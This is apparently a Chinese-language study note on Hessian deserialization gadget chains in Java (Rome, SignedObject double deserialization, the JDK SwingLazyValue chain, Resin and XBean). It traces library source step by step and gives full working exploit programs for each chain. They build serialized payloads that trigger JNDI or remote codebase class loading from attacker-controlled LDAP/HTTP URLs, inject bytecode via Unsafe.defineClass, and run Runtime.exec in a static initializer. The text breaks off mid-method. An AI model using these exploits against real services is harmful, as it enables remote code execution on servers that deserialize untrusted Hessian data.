Hessian 反序列化链
基础:
序列化和反序列化:
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.*;
public class ObjectTest {
public static void main(String[] args) throws Exception {
Person test = new Person("test", 1);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new HessianOutput(baos).writeObject(test);
System.out.println(baos.toByteArray());
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Object o = new HessianInput(bais).readObject();
System.out.println(o);
}
}
任意类都可以被序列化,只要通过!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable条件的判断即可。isAllowNonSerializable是SerializerFactory的字段,我们将其设置为ture即可序列化任意类。
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
利用条件:
- 起始方法只能为 hashCode/equals/compareTo 方法;
- 利用链中调用的成员变量不能为 transient 修饰;
- 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑。
依据:
UnsafeDeserializer反序列化器的readMap()方法是不走构造方法、getter、setter 方法的反序列化,相对安全不可用。而MapDeserializer反序列化器的readMap方法会执行map.put(),进而执行putVal ==> equals、hash == > hashcode,而且在 hessian 中对于SortedMap,将会使用TreeMap。而TreeMap的put方法,有compare方法的调用。所以这就是 起始方法只能为hashCode/equals/compareTo方法 的原因- 序列化时
transient和static修饰符的字段并没有添加到_fields[]数组中,不会进行序列化。 - 通过 unsafe 反序列化器实例化类时,我们都知道 unsafe 是不会执行类构造器和 getter、setter 等方法的,所以 反序列化链的条件 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑 也就理解了。一般是通过实例化对象写入恶意字段值后再调用该对象的某个方法形成攻击,如jndi注入写入恶意url。
Remo 链:
依赖:
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
调用链:
JdbcRowSetImpl.getDatabaseMetaData()
ToStringBean.toString() (com.sun.syndication.feed.impl)
EqualsBean.beanHashCode() (com.sun.syndication.feed.impl)
EqualsBean.hashCode()
HashMap.hash()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
HessianInput.readObject()
exp:
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.security.auth.login.Configuration;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Vector;
public class HessianRomeJDBC {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// 创建JdbcRowSetImpl
String url = "ldap://127.0.0.1:1389/Basic/Command/calc";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "test");
// 自上而下执行 getter、setter方法,添加值防止报错
Vector<String> strMatchColumns = new Vector<>();
strMatchColumns.add("username");
setFieldValue(jdbcRowSet,"strMatchColumns" ,strMatchColumns);
FileOutputStream fos = new FileOutputStream("hessianJDBC.ser");
// ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(fos);
ho.writeObject(hashMap);
ho.close();
FileInputStream fis = new FileInputStream("hessianJDBC.ser");
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
HessianInput hi = new HessianInput(fis);
hi.readObject();
}
}
然后jndi注入即可
从下往上的链路跟进:
入口点:readObject()方法:
因为我们丢的时一个map对象所以最后会走到_serializerFactory.readMap

跟进到SerializerFactory类的readMap方法
public Object readMap(AbstractHessianInput in, String type)
throws HessianProtocolException, IOException
{
Deserializer deserializer = getDeserializer(type);
if (deserializer != null)
return deserializer.readMap(in);
else if (_hashMapDeserializer != null)
return _hashMapDeserializer.readMap(in);
else {
_hashMapDeserializer = new MapDeserializer(HashMap.class);
return _hashMapDeserializer.readMap(in);
}
}
这里获取到的反序列化器会是MapDeserializer,然后调用readMap方法
public Object readMap(AbstractHessianInput in)
throws IOException
{
Map map;
if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap();
else if (_type.equals(SortedMap.class))
map = new TreeMap();
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
in.addRef(map);
while (! in.isEnd()) {
map.put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}
调用map的put方法,这里map是HashMap。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
调用到hash方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
然后会走到key的hashCode方法,这里的key是EqualsBean对象
public int hashCode() {
return beanHashCode();
}
public int beanHashCode() {
return _obj.toString().hashCode();
}
最后会调用obj的toString方法。
public String toString() {
Stack stack = (Stack) PREFIX_TL.get();
String[] tsInfo = (String[]) ((stack.isEmpty()) ? null : stack.peek());
String prefix;
if (tsInfo==null) {
String className = _obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".")+1);
}
else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
return toString(prefix);
}
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
if (pds!=null) {
for (int i=0;i<pds.length;i++) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod!=null && // ensure it has a getter method
pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods
pReadMethod.getParameterTypes().length==0) { // filter getter methods that take parameters
Object value = pReadMethod.invoke(_obj,NO_PARAMS);
printProperty(sb,prefix+"."+pName,value);
}
}
}
}
catch (Exception ex) {
sb.append("nnEXCEPTION: Could not complete "+_obj.getClass()+".toString(): "+ex.getMessage()+"n");
}
return sb.toString();
}
然后一个个反射调用这里obj的getter方法,最后调用到getDatabaseMetaData方法触发connect()方法触发连接产生jndi注入
这里由于TemplatesImpl 的 _tfactory 属性为 transient ,不能进行序列化与反序列化,所以TemplatesImpl 的 getOutputProperties() 方法不可用
TemplatesImpl+SignedObject 二次反序列化:
看原生类SignedObject的getObject()方法调用readObject()方法,可以打原生反序列化链
poc:
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;
public class ObjectTest {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] evilBytes = Files.readAllBytes(Paths.get("C:\Users\inex\IdeaProjects\cc\classtobytes\src\main\java\org\example\DecodedTest.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "evil");
setFieldValue(templates, "_bytecodes", new byte[][]{evilBytes});
// 第一次封装,走第二次反序列化
ToStringBean toStringBean = new ToStringBean(String.class,"aaa");
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(equalsBean, "test");
setFieldValue(toStringBean,"_beanClass", Templates.class);
setFieldValue(toStringBean,"_obj",templates);
// 第二次封装,走 Remo 链反序列化
// 初始化 SignedObject
// 生成密钥对
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(2048);
KeyPair keyPair = keyGen.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
PublicKey publicKey = keyPair.getPublic();
// 创建签名对象
Signature signature = Signature.getInstance("SHA1withRSA"); // 或其他合适的算法
SignedObject signedObject = new SignedObject(hashMap2, privateKey, signature);
ToStringBean toStringBean1 = new ToStringBean(String.class, "signedObject");
EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class, toStringBean1);
HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put(equalsBean1, "test");
setFieldValue(toStringBean1, "_beanClass", SignedObject.class);
setFieldValue(toStringBean1, "_obj", signedObject);
// 序列化
FileOutputStream fos = new FileOutputStream("hessian.ser");
HessianOutput ho = new HessianOutput(fos);
ho.writeObject(hashMap1);
ho.flush();
// 反序列化
FileInputStream fis = new FileInputStream("hessian.ser");
HessianInput hessianInput = new HessianInput(fis);
hessianInput.readObject();
}
}
jdk 原生链:
调用链:
createValue:67, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
equals:813, Hashtable (java.util)
equals:813, Hashtable (java.util)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
用到的test类代码:
package com.example;
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
}
}
}
链路跟进:
从之前MapDeserializer类的readMap方法开始,这里调用了HashMap的put方法
public Object readMap(AbstractHessianInput in)
throws IOException
{
Map map;
if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap();
else if (_type.equals(SortedMap.class))
map = new TreeMap();
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
in.addRef(map);
while (! in.isEnd()) {
map.put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}
然后在该类下跟到Hashtable类的equals方法
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
/**
* Implements Map.put and related methods
*
* @param hash hash for key
* @param key the key
* @param value the value to put
* @param onlyIfAbsent if true, don't change existing value
* @param evict if false, the table is in creation mode.
* @return previous value, or null if none
*/
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
然后调用到UIDefaults类的get方法,
public synchronized boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> t = (Map<?,?>) o;
if (t.size() != size())
return false;
try {
Iterator<Map.Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Map.Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(t.get(key)==null && t.containsKey(key)))
return false;
} else {
if (!value.equals(t.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
然后跟到getFromHashtable方法最后走到createValue方法
public Object get(Object key) {
Object value = getFromHashtable( key );
return (value != null) ? value : getFromResourceBundle(key, null);
}
/**
* Looks up up the given key in our Hashtable and resolves LazyValues
* or ActiveValues.
*/
private Object getFromHashtable(Object key) {
/* Quickly handle the common case, without grabbing
* a lock.
*/
Object value = super.get(key);
if ((value != PENDING) &&
!(value instanceof ActiveValue) &&
!(value instanceof LazyValue)) {
return value;
}
/* If the LazyValue for key is being constructed by another
* thread then wait and then return the new value, otherwise drop
* the lock and construct the ActiveValue or the LazyValue.
* We use the special value PENDING to mark LazyValues that
* are being constructed.
*/
synchronized(this) {
value = super.get(key);
if (value == PENDING) {
do {
try {
this.wait();
}
catch (InterruptedException e) {
}
value = super.get(key);
}
while(value == PENDING);
return value;
}
else if (value instanceof LazyValue) {
super.put(key, PENDING);
}
else if (!(value instanceof ActiveValue)) {
return value;
}
}
/* At this point we know that the value of key was
* a LazyValue or an ActiveValue.
*/
if (value instanceof LazyValue) {
try {
/* If an exception is thrown we'll just put the LazyValue
* back in the table.
*/
value = ((LazyValue)value).createValue(this);
}
finally {
synchronized(this) {
if (value == null) {
super.remove(key);
}
else {
super.put(key, value);
}
this.notifyAll();
}
}
}
else {
value = ((ActiveValue)value).createValue(this);
}
return value;
}
SwingLazyValue类的createValue方法有反射调用:
public Object createValue(final UIDefaults table) {
try {
ReflectUtil.checkPackageAccess(className);
Class<?> c = Class.forName(className, true, null);
if (methodName != null) {
Class[] types = getClassArray(args);
Method m = c.getMethod(methodName, types);
makeAccessible(m);
return m.invoke(c, args);
} else {
Class[] types = getClassArray(args);
Constructor constructor = c.getConstructor(types);
makeAccessible(constructor);
return constructor.newInstance(args);
}
} catch (Exception e) {
// Ideally we would throw an exception, unfortunately
// often times there are errors as an initial look and
// feel is loaded before one can be switched. Perhaps a
// flag should be added for debugging, so that if true
// the exception would be thrown.
}
return null;
}
走到这里基本就可以rce了。
poc:
rce后部采用MethodUtil.invoke->Unsafe.defineClass加载字节码
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.HashMap;
import java.util.Hashtable;
/**
* createValue:67, SwingLazyValue (sun.swing)
* getFromHashtable:216, UIDefaults (javax.swing)
* get:161, UIDefaults (javax.swing)
* equals:813, Hashtable (java.util)
* equals:813, Hashtable (java.util)
* putVal:634, HashMap (java.util)
* put:611, HashMap (java.util)
* readMap:114, MapDeserializer (com.caucho.hessian.io)
* readMap:577, SerializerFactory (com.caucho.hessian.io)
* readObject:1160, HessianInput (com.caucho.hessian.io)
*/
public class ObjectTest {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
// byte[] evilBytes = getBytecode(test.class);
byte[] evilBytes = new byte[]{-54, -2};
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = clazz.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe)theUnsafe.get(null);
Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
defineClass.setAccessible(true);
Class<?> utilClass = Class.forName("sun.reflect.misc.MethodUtil");
Method invoke = utilClass.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Object[] defineClassArgs = new Object[]{"com.example.test", evilBytes, 0, evilBytes.length, null,null};
Object[] utilInvokeArgs = new Object[]{defineClass,unsafe,defineClassArgs};
Object[] creatInvokeTypes = {invoke,new Object(),utilInvokeArgs};
SwingLazyValue swingLazyValue = new SwingLazyValue(MethodUtil.class.getName(), "invoke", creatInvokeTypes );
// swingLazyValue.createValue( null);
UIDefaults uiDefaults1 = new UIDefaults();
UIDefaults uiDefaults2 = new UIDefaults();
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
uiDefaults1.put("hashtableKey",swingLazyValue);
uiDefaults2.put("hashtableKey",swingLazyValue);
// uiDefaults.get("test");
hashtable1.put("hashtableKey",uiDefaults1);
hashtable2.put("hashtableKey",uiDefaults2);
// hashtable1.equals(uiDefaults);
// hashtable1.equals(hashtable2);
HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(hashtable1, "test");
// hashMap.put(hashtable2, "test");
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCC.setAccessible(true);
Object node1 = nodeCC.newInstance(0, hashtable1, "test", null);
Object node2 = nodeCC.newInstance(1, hashtable2, "test", null);
Object tbl = Array.newInstance(nodeC, 2);
System.out.println(tbl);
Array.set(tbl, 0, node1);
Array.set(tbl, 1, node2);
setFieldValue(hashMap, "table", tbl);
setFieldValue(hashMap, "size", 2);
// 序列化
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(baos);
ho.setSerializerFactory(serializerFactory);
ho.writeObject(hashMap);
// 反序列化
Object o = new HessianInput(new ByteArrayInputStream(baos.toByteArray())).readObject();
Class.forName("com.example.test").newInstance();
}
}
Resin链:
类似jndi,远程类加载,把任意逻辑写进类初始化、构造函数或 getObjectInstance() 里,实例化的时候就触发恶意逻辑
调用栈:
NamingManager.getObjectFactoryFromReference() (javax.naming.spi)
NamingManager.getObjectInstance() (javax.naming.spi)
NamingManager.getContext() (javax.naming.spi)
ContinuationContext.getTargetContext() (javax.naming.spi)
ContinuationContext.composeName() (javax.naming.spi)
QName.toString() (com.caucho.naming)
XString.equals() (com.sun.org.apache.xpath.internal.objects)
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()
exp:
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.enterprise.inject.New;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
/**
* NamingManager.getObjectFactoryFromReference() (javax.naming.spi)
* NamingManager.getObjectInstance() (javax.naming.spi)
* NamingManager.getContext() (javax.naming.spi)
* ContinuationContext.getTargetContext() (javax.naming.spi)
* ContinuationContext.composeName() (javax.naming.spi)
* QName.toString() (com.caucho.naming)
* XString.equals() (com.sun.org.apache.xpath.internal.objects)
* HashMap.putVal()
* HashMap.put()
* MapDeserializer.readMap()
* SerializerFactory.readMap()
* HessianInput.readObject()
*/
public class HessianResin {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while (field == null) {
try {
field = clazz.getDeclaredField(fieldName);
}catch (NoSuchFieldException e){
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
field.set(obj, value);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\u0915\u0009\u001e\u000c\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static void main(String[] args) throws Exception{
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String codebase = "http://127.0.0.1:8000/";
String factoryName = "test";
Reference ref = new Reference("test", factoryName, codebase);
CannotProceedException cpe = new CannotProceedException();
setFieldValue(cpe,"resolvedObj", ref);
Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(cpe, new Hashtable<>());
Context context = (Context) o;
QName qName = new QName(context, "test","test1");
// qName.toString();
String s = unhash(qName.hashCode());
XString xString = new XString(s);
// xString.equals(qName);
HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(qName, "test");
// System.out.println(hashMap);
// hashMap.put(xString, "test");
Class nodeC = null;
try{
nodeC = Class.forName("java.util.HashMap$Node");
}catch (ClassNotFoundException e){
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCC.setAccessible(true);
Object qNaNode = nodeCC.newInstance(0, qName, "test", null);
Object xStrNode = nodeCC.newInstance(1, xString, "test", null);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, qNaNode);
Array.set(tbl, 1, xStrNode);
setFieldValue(hashMap, "table", tbl);
setFieldValue(hashMap, "size", 2);
// 序列化
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(baos);
ho.setSerializerFactory(serializerFactory);
ho.writeObject(hashMap);
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Object o1 = new HessianInput(bais).readObject();
System.out.println(o1);
}
}
设置哈希相同算法:
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\u0915\u0009\u001e\u000c\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
这样保证xString.hashCode() == qName.hashCode(),进而调用xString.equals(qName)
关于为什么是xString.equals(qName)而不是qName.equals(xString):HashMap 遍历 entry 时,通常按 table 数组下标从小到大扫,如果a先扫然后再扫b,发现a,b哈希相同就会调用b.equals(a)。
所以下面的代码用索引设置插入顺序:
Array.set(tbl, 0, qNaNode);
Array.set(tbl, 1, xStrNode);
XBean链
pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>demo</groupId>
<artifactId>hessian-trace-lab</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- 1. 核心:Hessian 序列化库 (必须添加) -->
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
<!-- 2. Gadget: Spring AOP (用于 HotSwappableTargetSource) -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.3.7.RELEASE</version>
</dependency>
<!-- 3. Gadget: XBean Naming (用于 ContextUtil JNDI触发) -->
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.5</version>
</dependency>
<!-- 4. 可选但推荐:Spring Core (防止运行时缺类报错) -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.3.7.RELEASE</version>
</dependency>
</dependencies>
</project>
调用栈:
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
resolve:73, ContextUtil (org.apache.xbean.naming.context)
getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
toString:192, Binding (javax.naming)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
exp:
package com.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
/**
* loadClass:61, VersionHelper12 (com.sun.naming.internal)
* getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
* getObjectInstance:319, NamingManager (javax.naming.spi)
* resolve:73, ContextUtil (org.apache.xbean.naming.context)
* getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
* toString:192, Binding (javax.naming)
* equals:392, XString (com.sun.org.apache.xpath.internal.objects)
* equals:104, HotSwappableTargetSource (org.springframework.aop.target)
* putVal:634, HashMap (java.util)
* put:611, HashMap (java.util)
*/
public class ObjectTest {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String codeBase = "http://127.0.0.1:8180/";
String factoryName = "Evil";
Reference ref = new Reference(factoryName, factoryName, codeBase);
WritableContext writableContext = new WritableContext();
ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding("Evil",ref,writableContext );
XString xString = new XString("aaa");
HotSwappableTargetSource xstr = new HotSwappableTargetSource(xString);
HotSwappableTargetSource read = new HotSwappableTargetSource(readOnlyBinding);
HashMap<Object, Object> hashMap = new HashMap<>();
Class nodeC;
try{
nodeC = Class.forName("java.util.HashMap$Node");
}catch (ClassNotFoundException e){
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCC.setAccessible(true);
Object node1 = nodeCC.newInstance(0, read, "Evil", null);
Object node2 = nodeCC.newInstance(1, xstr, "Evil", null);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, node1);
Array.set(tbl, 1, node2);
Field table = hashMap.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(hashMap, tbl);
Field size = hashMap.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
// 序列化
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(baos);
ho.setSerializerFactory(serializerFactory);
ho.writeObject(hashMap);
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Object o = new HessianInput(bais).readObject();
}
}
链路分析:
到equals之前的链路就不讲了,重复了,只说说为什么用HotSwappableTargetSource封装:
public int hashCode() {
return HotSwappableTargetSource.class.hashCode();
}
HotSwappableTargetSource类的hashCode方法在一个JVM里面拿到同一个 HotSwappableTargetSource.class实例,所以最后的返回值总是一样的。
直接从调用ContextUtil.ReadOnlyBinding.toString()开始,由于这个类没有重写它的toSting方法,所以向它的父类Binding调用。
public String toString() {
return super.toString() + ":" + getObject();
}
这里 getObject()虚方法调用回ReadOnlyBinding,即调用ReadOnlyBinding.getObject()。
public Object getObject() {
try {
return resolve(value, getName(), null, context);
} catch (NamingException e) {
throw new RuntimeException(e);
}
}
这里调用ContextUtil.resolve()方法
public static Object resolve(Object value, String stringName, Name parsedName, Context nameCtx) throws NamingException {
if (!(value instanceof Reference)) {
return value;
}
Reference reference = (Reference) value;
// for SimpleReference we can just call the getContext method
if (reference instanceof SimpleReference) {
try {
return ((SimpleReference) reference).getContent();
} catch (NamingException e) {
throw e;
} catch (Exception e) {
throw (NamingException) new NamingException("Could not look up : " + stringName == null? parsedName.toString(): stringName).initCause(e);
}
}
// for normal References we have to do it the slow way
try {
if (parsedName == null) {
parsedName = NAME_PARSER.parse(stringName);
}
return NamingManager.getObjectInstance(reference, parsedName, nameCtx, nameCtx.getEnvironment());
} catch (NamingException e) {
throw e;
} catch (Exception e) {
throw (NamingException) new NamingException("Could not look up : " + stringName == null? parsedName.toString(): stringName).initCause(e);
}
}
调用NamingManager.getObjectInstance() -> NamingManager.getObjectFactoryFromReference 触发恶意类加载:
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
